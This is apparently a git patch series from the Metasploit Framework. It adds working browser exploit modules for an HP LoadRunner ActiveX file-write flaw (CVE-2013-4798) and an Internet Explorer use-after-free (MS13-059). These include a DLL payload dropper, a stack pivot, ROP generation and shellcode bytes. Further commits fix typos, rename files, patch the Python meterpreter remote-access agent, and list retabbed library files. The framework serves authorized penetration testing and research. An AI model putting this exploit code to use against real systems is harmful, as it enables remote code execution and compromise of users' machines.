redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::Remote::BrowserAutopwn + include Msf::Exploit::EXE + + autopwn_info({ + :ua_name => HttpClients::IE, + :ua_minver => "6.0", + :ua_maxver => "8.0", + :javascript => true, + :os_name => OperatingSystems::WINDOWS, + :os_ver => OperatingSystems::WindowsVersions::XP, + :rank => NormalRanking, + :classid => "{8D9E2CC7-D94B-4977-8510-FB49C361A139}", + :method => "WriteFileString " + }) + + def initialize(info={}) + super(update_info(info, + 'Name' => "HP LoadRunner lrFileIOService ActiveX WriteFileString Remote Code Execution", + 'Description' => %q{ + This module exploits a vulnerability on the lrFileIOService ActiveX, as installed + with HP LoadRunner 11.50. The vulnerability exists in the WriteFileString method, + which allow the user to write arbitrary files. It's abused to drop a payload + embedded in a dll, which is later loaded through the Init() method from the + lrMdrvService control, by abusing an insecure LoadLibrary call. This module has + been tested successfully on IE8 on Windows XP. Virtualization based on the Low + Integrity Process, on Windows Vista and 7, will stop this stop this module because + the DLL will be dropped to a virtualized folder, which isn't used by LoadLibrary. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Brian Gorenc', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2013-4798' ], + [ 'OSVDB', '95642' ], + [ 'BID', '61443'], + [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-207/' ], + [ 'URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03862772' ] + ], + 'Payload' => + { + 'Space' => 2048, + 'DisableNops' => true + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Automatic IE on Windows XP', {} ] + ], + 'Privileged' => false, + 'DisclosureDate' => "Jul 24 2013", + 'DefaultTarget' => 0)) + + register_options( + [ + OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) + ], self.class) + + end + + # Just reminding the user to delete LrWeb2MdrvLoader.dll + # because migration and killing the exploited process is + # needed + def on_new_session(session) + print_status("New session... remember to delete LrWeb2MdrvLoader.dll") + end + + def is_target?(agent) + if agent =~ /Windows NT 5\.1/ and agent =~ /MSIE/ + return true + end + + return false + end + + def create_dll_js(object_id, dll_data) + dll_js = "" + first = true + dll_data.each_char { |chunk| + if first + dll_js << "#{object_id}.WriteFileString(\"LrWeb2MdrvLoader.dll\", unescape(\"%u01#{Rex::Text.to_hex(chunk, "")}\"), false, \"UTF-8\");\n" + first = false + else + dll_js << "#{object_id}.WriteFileString(\"LrWeb2MdrvLoader.dll\", unescape(\"%u01#{Rex::Text.to_hex(chunk, "")}\"), true, \"UTF-8\");\n" + end + } + return dll_js + end + + def load_exploit_html(cli) + return nil if ((p = regenerate_payload(cli)) == nil) + + file_io = rand_text_alpha(rand(10) + 8) + mdrv_service = rand_text_alpha(rand(10) + 8) + dll_data = generate_payload_dll({ :code => p.encoded }) + drop_dll_js = create_dll_js(file_io, dll_data) + + html = %Q| + + + + + + + + | + + return html + end + + def on_request_uri(cli, request) + agent = request.headers['User-Agent'] + uri = request.uri + print_status("Requesting: #{uri}") + + # Avoid the attack if no suitable target found + if not is_target?(agent) + print_error("Browser not supported, sending 404: #{agent}") + send_not_found(cli) + return + end + + html = load_exploit_html(cli) + if html.nil? + send_not_found(cli) + return + end + html = html.gsub(/^\t\t/, '') + print_status("Sending HTML...") + send_response(cli, html, {'Content-Type'=>'text/html'}) + end + +end \ No newline at end of file From be06e67719f85fa485d25613a64e0d817360932c Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 29 Aug 2013 14:42:59 -0500 Subject: [PATCH 435/454] Fix typo --- .../exploits/windows/browser/hp_loadrunner_writefilestring.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb b/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb index 6cb00107f0ef0..a7b7b38c0d707 100644 --- a/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb +++ b/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb @@ -36,8 +36,8 @@ def initialize(info={}) embedded in a dll, which is later loaded through the Init() method from the lrMdrvService control, by abusing an insecure LoadLibrary call. This module has been tested successfully on IE8 on Windows XP. Virtualization based on the Low - Integrity Process, on Windows Vista and 7, will stop this stop this module because - the DLL will be dropped to a virtualized folder, which isn't used by LoadLibrary. + Integrity Process, on Windows Vista and 7, will stop this module because the DLL + will be dropped to a virtualized folder, which isn't used by LoadLibrary. }, 'License' => MSF_LICENSE, 'Author' => From 20b3452cd2ee2bd1ed9e12ec10a6bf77073ff317 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 30 Aug 2013 03:16:28 -0500 Subject: [PATCH 436/454] Add CVE-2013-3184 (MS13-058) CFlatMarkupPointer Use After Free Please see module description for more info. --- .../browser/ms13_058_cflatmarkuppointer.rb | 174 ++++++++++++++++++ 1 file changed, 174 insertions(+) create mode 100644 modules/exploits/windows/browser/ms13_058_cflatmarkuppointer.rb diff --git a/modules/exploits/windows/browser/ms13_058_cflatmarkuppointer.rb b/modules/exploits/windows/browser/ms13_058_cflatmarkuppointer.rb new file mode 100644 index 0000000000000..95d5f515a792c --- /dev/null +++ b/modules/exploits/windows/browser/ms13_058_cflatmarkuppointer.rb @@ -0,0 +1,174 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::RopDb + + def initialize(info={}) + super(update_info(info, + 'Name' => "MS13-058 Microsoft Internet Explorer CFlatMarkupPointer Use-After-Free", + 'Description' => %q{ + This is a memory corruption bug found in Microsoft Internet Explorer. On IE 9, + it seems to only affect certain releases of mshtml.dll. For example: This module + can be used against version 9.0.8112.16446, but not for 9.0.8112.16421. IE 8 + requires a different way to trigger the vulnerability, but not currently covered + by this module. + + The issue is specific to the browser's IE7 document compatibility, which can be + defined in X-UA-Compatible, and the content editable mode must be enabled. An + "onmove" event handler is also necessary to be able to trigger the bug, and the + event will be run twice before the crash. The first time is due to the position + change of the body element, which is also when a MSHTML!CFlatMarkupPointer::`vftable' + object is created during a "SelectAll" command, and this object will be used later + on in the crash. The second onmove event seems to be triggered by a InsertButton + (or Insert-whatever) command, which is also responsible for the free of object + CFlatMarkupPointer during page rendering. The EnsureRecalcNotify() function will + then still return an invalid reference to CFlatMarkupPointer (stored in EBX), and + then passes this on to the next functions (GetLineInfo -> QIClassID). When this + reference arrives in function QIClassID, an access violation finally occurs when + the function is trying to call QueryInterface() with the bad eference, an this + results a crash. Successful control of the freed memory may leverage arbitrary code + execution under the context of the user. + + Note: It is also possible to see a different object being freed and used, doesn't + always have to be CFlatMarkupPointer. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'corelanc0d3r', # Vuln discovery, PoC + 'juan vazquez', # Stack pivot! + 'sinn3r' # Metasploit + ], + 'References' => + [ + [ 'CVE', '2013-3184' ], + [ 'OSVDB', '96182' ], + [ 'MSB', 'MS13-059' ], + [ 'BID', '61668' ], + [ 'URL', 'http://zerodayinitiative.com/advisories/ZDI-13-194/' ], + [ 'URL', 'http://zerodayinitiative.com/advisories/ZDI-13-195/' ] + ], + 'Platform' => 'win', + 'Targets' => + [ + # Vulnerable IE9 tested: 9.0.8112.16446 + [ 'Automatic', {} ], + [ 'IE 9 on Windows 7 SP1 (mshtml 9.0.8112.16446)', {} ] + ], + 'Payload' => + { + 'BadChars' => "\x00", + 'StackAdjustment' => -3500 + }, + 'DefaultOptions' => + { + 'InitialAutoRunScript' => 'migrate -f' + }, + 'Privileged' => false, + 'DisclosureDate' => "Jun 27 2013", + 'DefaultTarget' => 0)) + end + + def rnd_dword + rand_text_alpha(4).unpack("V").first + end + + def get_fake_obj + # edx,dword ptr [eax] + # ... + # call edx + obj = [0x20302020].pack("V*") # EAX points to this (Target spray 0x20302020) + obj << [rnd_dword].pack("V*") + obj << [rnd_dword].pack("V*") + obj << [rnd_dword].pack("V*") + obj << [rnd_dword].pack("V*") + + return obj + end + + # Target spray 0x20302020 + # ESI is our fake obj, with [esi]=0x20302020, [esi+4]=0x42424242, so on + # eax=20302020 ebx=80004002 ecx=0250d890 edx=cccccccc esi=03909b68 edi=0250d8cc + # eip=cccccccc esp=0250d87c ebp=0250d8a8 iopl=0 nv up ei ng nz na po cy + # cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010283 + # cccccccc ?? ??? + def get_payload + code = '' + code << "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000 + code << "\x61\x9d" # popad; popfd + code << payload.encoded + + stack_pivot = [ + 0x7c342643, # xchg eax, esp; pop edi; add [eax], al, pop ecx; ret + 0x0c0c0c0c + ].pack("V*") + + p = generate_rop_payload('java', code, {'pivot'=>stack_pivot}) + + return p + end + + def is_win7_ie9?(agent) + (agent =~ /MSIE 9/ and agent =~ /Windows NT 6\.1/) + end + + # The meta-refresh seems very necessary to make the object overwrite more reliable. + # Without it, it only gets about 50/50 + def get_html(cli, req) + js_fake_obj = ::Rex::Text.to_unescape(get_fake_obj, ::Rex::Arch.endian(target.arch)) + js_payload = ::Rex::Text.to_unescape(get_payload, ::Rex::Arch.endian(target.arch)) + + html = %Q| + + + + + + + + + | + + html.gsub(/^\t\t/, '') + end + + def on_request_uri(cli, request) + if is_win7_ie9?(request.headers['User-Agent']) + print_status("Sending exploit...") + send_response(cli, get_html(cli, request), {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) + else + print_error("Not a suitable target: #{request.headers['User-Agent']}") + send_not_found(cli) + end + end +end From 6a29a3655d0b93bbc2b5a826765b61a88f9ec3cf Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 30 Aug 2013 10:43:26 -0500 Subject: [PATCH 437/454] Fix typos --- .../exploits/windows/browser/ms13_058_cflatmarkuppointer.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/browser/ms13_058_cflatmarkuppointer.rb b/modules/exploits/windows/browser/ms13_058_cflatmarkuppointer.rb index 95d5f515a792c..c46b323b0021a 100644 --- a/modules/exploits/windows/browser/ms13_058_cflatmarkuppointer.rb +++ b/modules/exploits/windows/browser/ms13_058_cflatmarkuppointer.rb @@ -29,13 +29,13 @@ def initialize(info={}) event will be run twice before the crash. The first time is due to the position change of the body element, which is also when a MSHTML!CFlatMarkupPointer::`vftable' object is created during a "SelectAll" command, and this object will be used later - on in the crash. The second onmove event seems to be triggered by a InsertButton + on for the crash. The second onmove event seems to be triggered by a InsertButton (or Insert-whatever) command, which is also responsible for the free of object CFlatMarkupPointer during page rendering. The EnsureRecalcNotify() function will then still return an invalid reference to CFlatMarkupPointer (stored in EBX), and then passes this on to the next functions (GetLineInfo -> QIClassID). When this reference arrives in function QIClassID, an access violation finally occurs when - the function is trying to call QueryInterface() with the bad eference, an this + the function is trying to call QueryInterface() with the bad reference, and this results a crash. Successful control of the freed memory may leverage arbitrary code execution under the context of the user. From 4e808a41a10b090a4e74eb33304753de874ab435 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 30 Aug 2013 10:50:05 -0500 Subject: [PATCH 438/454] Correct file name --- ...3_058_cflatmarkuppointer.rb => ms13_059_cflatmarkuppointer.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/exploits/windows/browser/{ms13_058_cflatmarkuppointer.rb => ms13_059_cflatmarkuppointer.rb} (100%) diff --git a/modules/exploits/windows/browser/ms13_058_cflatmarkuppointer.rb b/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb similarity index 100% rename from modules/exploits/windows/browser/ms13_058_cflatmarkuppointer.rb rename to modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb From 8eccb040bce50f7dc567a9aab8e29ed25cb15d80 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 30 Aug 2013 10:50:35 -0500 Subject: [PATCH 439/454] Correct module title --- modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb b/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb index c46b323b0021a..ec2b09e1c60aa 100644 --- a/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb +++ b/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb @@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info={}) super(update_info(info, - 'Name' => "MS13-058 Microsoft Internet Explorer CFlatMarkupPointer Use-After-Free", + 'Name' => "MS13-059 Microsoft Internet Explorer CFlatMarkupPointer Use-After-Free", 'Description' => %q{ This is a memory corruption bug found in Microsoft Internet Explorer. On IE 9, it seems to only affect certain releases of mshtml.dll. For example: This module From 83c8680e8598f006519ff3da844ca08e3f6db856 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 30 Aug 2013 10:52:39 -0500 Subject: [PATCH 440/454] Update authors list --- modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb b/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb index ec2b09e1c60aa..e2d1dccb65381 100644 --- a/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb +++ b/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb @@ -46,7 +46,6 @@ def initialize(info={}) 'Author' => [ 'corelanc0d3r', # Vuln discovery, PoC - 'juan vazquez', # Stack pivot! 'sinn3r' # Metasploit ], 'References' => From d84939c83bc8f6fae4fb0725f43fdeecd95df749 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 30 Aug 2013 15:31:40 -0400 Subject: [PATCH 441/454] Fixes three minor issues in the python meterpreter. --- data/meterpreter/ext_server_stdapi.py | 4 +++- data/meterpreter/meterpreter.py | 2 ++ 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index 63b2792a00f2e..a1cf7de5b4093 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -303,6 +303,7 @@ def channel_create_stdapi_fs_file(request, response): fmode = packet_get_tlv(request, TLV_TYPE_FILE_MODE) if fmode: fmode = fmode['value'] + fmode = fmode.replace('bb', 'b') else: fmode = 'rb' file_h = open(fpath, fmode) @@ -320,6 +321,7 @@ def channel_create_stdapi_net_tcp_client(request, response): connected = False for i in range(retries + 1): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(3.0) if local_host.get('value') and local_port.get('value'): sock.bind((local_host['value'], local_port['value'])) try: @@ -380,7 +382,7 @@ def stdapi_sys_process_execute(request, response): if len(cmd) == 0: return ERROR_FAILURE, response if os.path.isfile('/bin/sh'): - args = ['/bin/sh', '-c', cmd, raw_args] + args = ['/bin/sh', '-c', cmd + ' ' + raw_args] else: args = [cmd] args.extend(shlex.split(raw_args)) diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index 0cbdf74c927cd..b81415a0a71fc 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -404,5 +404,7 @@ def create_response(self, request): return resp if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0): + if hasattr(os, 'setsid'): + os.setsid() met = PythonMeterpreter(s) met.run() From 7e5e0f7fc814fee55a1eca148c51f2344da65e59 Mon Sep 17 00:00:00 2001 From: Tab Assassin Date: Fri, 30 Aug 2013 16:28:33 -0500 Subject: [PATCH 442/454] Retab lib --- lib/anemone/core.rb | 4 +- lib/anemone/extractors/anchors.rb | 6 +- lib/anemone/extractors/dirbuster.rb | 14 +- lib/anemone/extractors/forms.rb | 8 +- lib/anemone/extractors/frames.rb | 6 +- lib/anemone/extractors/generic.rb | 86 +- lib/anemone/extractors/links.rb | 6 +- lib/anemone/extractors/meta_refresh.rb | 38 +- lib/anemone/extractors/scripts.rb | 6 +- lib/anemone/page.rb | 8 +- lib/anemone/rex_http.rb | 46 +- lib/enumerable.rb | 168 +- lib/fastlib.rb | 728 +- lib/metasm/metasm.rb | 118 +- lib/metasm/metasm/arm/debug.rb | 52 +- lib/metasm/metasm/arm/decode.rb | 308 +- lib/metasm/metasm/arm/encode.rb | 120 +- lib/metasm/metasm/arm/main.rb | 102 +- lib/metasm/metasm/arm/opcodes.rb | 316 +- lib/metasm/metasm/arm/parse.rb | 230 +- lib/metasm/metasm/arm/render.rb | 80 +- lib/metasm/metasm/compile_c.rb | 2846 +- lib/metasm/metasm/dalvik/decode.rb | 344 +- lib/metasm/metasm/dalvik/main.rb | 94 +- lib/metasm/metasm/dalvik/opcodes.rb | 592 +- lib/metasm/metasm/decode.rb | 370 +- lib/metasm/metasm/decompile.rb | 5264 +- lib/metasm/metasm/disassemble.rb | 3988 +- lib/metasm/metasm/disassemble_api.rb | 2506 +- lib/metasm/metasm/dynldr.rb | 1994 +- lib/metasm/metasm/encode.rb | 574 +- lib/metasm/metasm/exe_format/a_out.rb | 358 +- lib/metasm/metasm/exe_format/autoexe.rb | 52 +- lib/metasm/metasm/exe_format/bflt.rb | 350 +- lib/metasm/metasm/exe_format/coff.rb | 860 +- lib/metasm/metasm/exe_format/coff_decode.rb | 1760 +- lib/metasm/metasm/exe_format/coff_encode.rb | 2130 +- lib/metasm/metasm/exe_format/dex.rb | 858 +- lib/metasm/metasm/exe_format/dol.rb | 240 +- lib/metasm/metasm/exe_format/elf.rb | 1566 +- lib/metasm/metasm/exe_format/elf_decode.rb | 1908 +- lib/metasm/metasm/exe_format/elf_encode.rb | 2650 +- lib/metasm/metasm/exe_format/macho.rb | 1612 +- lib/metasm/metasm/exe_format/main.rb | 410 +- lib/metasm/metasm/exe_format/mz.rb | 300 +- lib/metasm/metasm/exe_format/nds.rb | 312 +- lib/metasm/metasm/exe_format/pe.rb | 778 +- lib/metasm/metasm/exe_format/serialstruct.rb | 458 +- lib/metasm/metasm/exe_format/shellcode.rb | 202 +- lib/metasm/metasm/exe_format/xcoff.rb | 308 +- lib/metasm/metasm/gui.rb | 32 +- lib/metasm/metasm/gui/cstruct.rb | 668 +- lib/metasm/metasm/gui/dasm_coverage.rb | 376 +- lib/metasm/metasm/gui/dasm_decomp.rb | 658 +- lib/metasm/metasm/gui/dasm_funcgraph.rb | 160 +- lib/metasm/metasm/gui/dasm_graph.rb | 2662 +- lib/metasm/metasm/gui/dasm_hex.rb | 1064 +- lib/metasm/metasm/gui/dasm_listing.rb | 1176 +- lib/metasm/metasm/gui/dasm_main.rb | 1750 +- lib/metasm/metasm/gui/dasm_opcodes.rb | 560 +- lib/metasm/metasm/gui/debug.rb | 2394 +- lib/metasm/metasm/gui/gtk.rb | 1558 +- lib/metasm/metasm/gui/qt.rb | 836 +- lib/metasm/metasm/gui/win32.rb | 3262 +- lib/metasm/metasm/gui/x11.rb | 778 +- lib/metasm/metasm/ia32/compile_c.rb | 3008 +- lib/metasm/metasm/ia32/debug.rb | 362 +- lib/metasm/metasm/ia32/decode.rb | 2304 +- lib/metasm/metasm/ia32/decompile.rb | 1102 +- lib/metasm/metasm/ia32/encode.rb | 602 +- lib/metasm/metasm/ia32/main.rb | 428 +- lib/metasm/metasm/ia32/opcodes.rb | 1706 +- lib/metasm/metasm/ia32/parse.rb | 564 +- lib/metasm/metasm/ia32/render.rb | 138 +- lib/metasm/metasm/main.rb | 2180 +- lib/metasm/metasm/mips/decode.rb | 480 +- lib/metasm/metasm/mips/encode.rb | 68 +- lib/metasm/metasm/mips/main.rb | 102 +- lib/metasm/metasm/mips/opcodes.rb | 806 +- lib/metasm/metasm/mips/parse.rb | 74 +- lib/metasm/metasm/mips/render.rb | 58 +- lib/metasm/metasm/os/gnu_exports.rb | 22 +- lib/metasm/metasm/os/linux.rb | 2078 +- lib/metasm/metasm/os/main.rb | 3304 +- lib/metasm/metasm/os/remote.rb | 1010 +- lib/metasm/metasm/os/windows.rb | 2534 +- lib/metasm/metasm/os/windows_exports.rb | 74 +- lib/metasm/metasm/parse.rb | 1684 +- lib/metasm/metasm/parse_c.rb | 7680 +- lib/metasm/metasm/pic16c/decode.rb | 58 +- lib/metasm/metasm/pic16c/main.rb | 10 +- lib/metasm/metasm/pic16c/opcodes.rb | 104 +- lib/metasm/metasm/ppc/decode.rb | 500 +- lib/metasm/metasm/ppc/decompile.rb | 478 +- lib/metasm/metasm/ppc/encode.rb | 66 +- lib/metasm/metasm/ppc/main.rb | 230 +- lib/metasm/metasm/ppc/opcodes.rb | 762 +- lib/metasm/metasm/ppc/parse.rb | 74 +- lib/metasm/metasm/preprocessor.rb | 2504 +- lib/metasm/metasm/render.rb | 194 +- lib/metasm/metasm/sh4/decode.rb | 648 +- lib/metasm/metasm/sh4/main.rb | 422 +- lib/metasm/metasm/sh4/opcodes.rb | 736 +- lib/metasm/metasm/x86_64/compile_c.rb | 2018 +- lib/metasm/metasm/x86_64/debug.rb | 86 +- lib/metasm/metasm/x86_64/decode.rb | 508 +- lib/metasm/metasm/x86_64/encode.rb | 454 +- lib/metasm/metasm/x86_64/main.rb | 228 +- lib/metasm/metasm/x86_64/opcodes.rb | 206 +- lib/metasm/metasm/x86_64/parse.rb | 100 +- lib/metasm/misc/bottleneck.rb | 34 +- lib/metasm/misc/cheader-findpppath.rb | 80 +- lib/metasm/misc/hexdiff.rb | 98 +- lib/metasm/misc/hexdump.rb | 68 +- lib/metasm/misc/metasm-all.rb | 4 +- lib/metasm/misc/objdiff.rb | 68 +- lib/metasm/misc/objscan.rb | 58 +- lib/metasm/misc/pdfparse.rb | 1048 +- lib/metasm/misc/ppc_pdf2oplist.rb | 304 +- lib/metasm/misc/tcp_proxy_hex.rb | 94 +- lib/metasm/misc/txt2html.rb | 766 +- lib/metasm/samples/asmsyntax.rb | 4 +- lib/metasm/samples/bindiff.rb | 964 +- lib/metasm/samples/compilation-steps.rb | 18 +- lib/metasm/samples/cparser_makestackoffset.rb | 12 +- lib/metasm/samples/dasm-plugins/bindiff.rb | 4 +- lib/metasm/samples/dasm-plugins/bookmark.rb | 216 +- .../samples/dasm-plugins/c_constants.rb | 76 +- .../samples/dasm-plugins/cppobj_funcall.rb | 78 +- lib/metasm/samples/dasm-plugins/dasm_all.rb | 108 +- .../samples/dasm-plugins/deobfuscate.rb | 270 +- lib/metasm/samples/dasm-plugins/dump_text.rb | 42 +- lib/metasm/samples/dasm-plugins/findgadget.rb | 98 +- lib/metasm/samples/dasm-plugins/hl_opcode.rb | 36 +- .../samples/dasm-plugins/hotfix_gtk_dbg.rb | 10 +- .../samples/dasm-plugins/match_libsigs.rb | 104 +- .../samples/dasm-plugins/namelocalvars.rb | 44 +- lib/metasm/samples/dasm-plugins/patch_file.rb | 128 +- .../samples/dasm-plugins/scanfuncstart.rb | 46 +- lib/metasm/samples/dasm-plugins/scanxrefs.rb | 28 +- lib/metasm/samples/dasm-plugins/selfmodify.rb | 300 +- lib/metasm/samples/dasmnavig.rb | 566 +- lib/metasm/samples/dbg-apihook.rb | 350 +- lib/metasm/samples/dbg-plugins/trace_func.rb | 262 +- lib/metasm/samples/dbghelp.rb | 130 +- lib/metasm/samples/disassemble-gui.rb | 96 +- lib/metasm/samples/disassemble.rb | 134 +- lib/metasm/samples/dump_upx.rb | 144 +- lib/metasm/samples/dynamic_ruby.rb | 3552 +- lib/metasm/samples/elf_list_needed.rb | 48 +- lib/metasm/samples/elf_listexports.rb | 28 +- lib/metasm/samples/exeencode.rb | 122 +- .../samples/factorize-headers-elfimports.rb | 44 +- .../samples/factorize-headers-peimports.rb | 78 +- lib/metasm/samples/factorize-headers.rb | 4 +- lib/metasm/samples/gdbclient.rb | 1126 +- lib/metasm/samples/generate_libsigs.rb | 118 +- lib/metasm/samples/hotfix_gtk_dbg.rb | 46 +- lib/metasm/samples/install_win_env.rb | 62 +- lib/metasm/samples/lindebug.rb | 1796 +- lib/metasm/samples/linux_injectsyscall.rb | 146 +- lib/metasm/samples/metasm-shell.rb | 112 +- lib/metasm/samples/pe-ia32-cpuid.rb | 202 +- lib/metasm/samples/pe-shutdown.rb | 30 +- lib/metasm/samples/pe-testrsrc.rb | 4 +- lib/metasm/samples/pe_listexports.rb | 32 +- lib/metasm/samples/peencode.rb | 4 +- lib/metasm/samples/peldr.rb | 794 +- lib/metasm/samples/r0trace.rb | 120 +- lib/metasm/samples/rubstop.rb | 764 +- lib/metasm/samples/scan_pt_gnu_stack.rb | 50 +- lib/metasm/samples/scanpeexports.rb | 58 +- lib/metasm/samples/shellcode-c.rb | 6 +- lib/metasm/samples/shellcode-dynlink.rb | 164 +- lib/metasm/samples/struct_offset.rb | 42 +- lib/metasm/samples/testraw.rb | 10 +- lib/metasm/samples/win32genloader.rb | 84 +- lib/metasm/samples/win32hooker-advanced.rb | 134 +- lib/metasm/samples/win32hooker.rb | 24 +- lib/metasm/samples/win32livedasm.rb | 4 +- lib/metasm/samples/win32remotescan.rb | 26 +- lib/metasm/samples/wintrace.rb | 128 +- lib/metasm/tests/dasm.rb | 48 +- lib/metasm/tests/dynldr.rb | 34 +- lib/metasm/tests/encodeddata.rb | 166 +- lib/metasm/tests/ia32.rb | 120 +- lib/metasm/tests/mips.rb | 80 +- lib/metasm/tests/parse_c.rb | 220 +- lib/metasm/tests/preprocessor.rb | 246 +- lib/metasm/tests/x86_64.rb | 102 +- lib/metasploit/framework.rb | 76 +- lib/metasploit/framework/database.rb | 20 +- lib/msf/base/config.rb | 674 +- lib/msf/base/logging.rb | 158 +- lib/msf/base/persistent_storage.rb | 86 +- lib/msf/base/persistent_storage/flatfile.rb | 78 +- lib/msf/base/serializer/readable_text.rb | 950 +- lib/msf/base/sessions/command_shell.rb | 616 +- .../base/sessions/command_shell_options.rb | 48 +- lib/msf/base/sessions/meterpreter.rb | 900 +- lib/msf/base/sessions/meterpreter_java.rb | 22 +- lib/msf/base/sessions/meterpreter_options.rb | 106 +- lib/msf/base/sessions/meterpreter_php.rb | 22 +- lib/msf/base/sessions/meterpreter_python.rb | 22 +- lib/msf/base/sessions/meterpreter_x64_win.rb | 16 +- lib/msf/base/sessions/meterpreter_x86_bsd.rb | 10 +- .../base/sessions/meterpreter_x86_linux.rb | 10 +- lib/msf/base/sessions/meterpreter_x86_win.rb | 16 +- lib/msf/base/sessions/scriptable.rb | 150 +- lib/msf/base/sessions/tty.rb | 118 +- lib/msf/base/sessions/vncinject.rb | 320 +- lib/msf/base/sessions/vncinject_options.rb | 168 +- lib/msf/base/simple/auxiliary.rb | 324 +- lib/msf/base/simple/buffer.rb | 162 +- lib/msf/base/simple/encoder.rb | 2 +- lib/msf/base/simple/exploit.rb | 362 +- lib/msf/base/simple/framework.rb | 322 +- lib/msf/base/simple/framework/module_paths.rb | 56 +- lib/msf/base/simple/module.rb | 76 +- lib/msf/base/simple/nop.rb | 48 +- lib/msf/base/simple/payload.rb | 248 +- lib/msf/base/simple/post.rb | 262 +- lib/msf/base/simple/statistics.rb | 122 +- lib/msf/core.rb | 2 +- lib/msf/core/auxiliary.rb | 284 +- lib/msf/core/auxiliary/auth_brute.rb | 1122 +- lib/msf/core/auxiliary/cisco.rb | 712 +- lib/msf/core/auxiliary/commandshell.rb | 82 +- lib/msf/core/auxiliary/crawler.rb | 664 +- lib/msf/core/auxiliary/dos.rb | 2 +- lib/msf/core/auxiliary/fuzzer.rb | 534 +- lib/msf/core/auxiliary/iax2.rb | 206 +- lib/msf/core/auxiliary/jtr.rb | 816 +- lib/msf/core/auxiliary/login.rb | 456 +- lib/msf/core/auxiliary/nmap.rb | 344 +- lib/msf/core/auxiliary/pii.rb | 128 +- lib/msf/core/auxiliary/report.rb | 614 +- lib/msf/core/auxiliary/rservices.rb | 136 +- lib/msf/core/auxiliary/scanner.rb | 402 +- lib/msf/core/auxiliary/timed.rb | 22 +- lib/msf/core/auxiliary/udp_scanner.rb | 216 +- lib/msf/core/auxiliary/web.rb | 558 +- .../auxiliary/web/analysis/differential.rb | 238 +- lib/msf/core/auxiliary/web/analysis/taint.rb | 40 +- lib/msf/core/auxiliary/web/analysis/timing.rb | 176 +- lib/msf/core/auxiliary/web/form.rb | 442 +- lib/msf/core/auxiliary/web/fuzzable.rb | 140 +- lib/msf/core/auxiliary/web/http.rb | 584 +- lib/msf/core/auxiliary/web/path.rb | 214 +- lib/msf/core/auxiliary/web/target.rb | 246 +- lib/msf/core/auxiliary/wmapmodule.rb | 306 +- lib/msf/core/constants.rb | 102 +- lib/msf/core/data_store.rb | 560 +- lib/msf/core/db.rb | 12164 +-- lib/msf/core/db_export.rb | 1408 +- lib/msf/core/db_manager.rb | 1052 +- lib/msf/core/db_manager/import_msf_xml.rb | 1150 +- lib/msf/core/db_manager/migration.rb | 100 +- lib/msf/core/encoded_payload.rb | 852 +- lib/msf/core/encoder.rb | 1206 +- lib/msf/core/encoder/alphanum.rb | 24 +- lib/msf/core/encoder/nonalpha.rb | 6 +- lib/msf/core/encoder/nonupper.rb | 6 +- lib/msf/core/encoder/xor.rb | 84 +- lib/msf/core/encoder/xor_additive_feedback.rb | 154 +- lib/msf/core/encoding/xor.rb | 26 +- 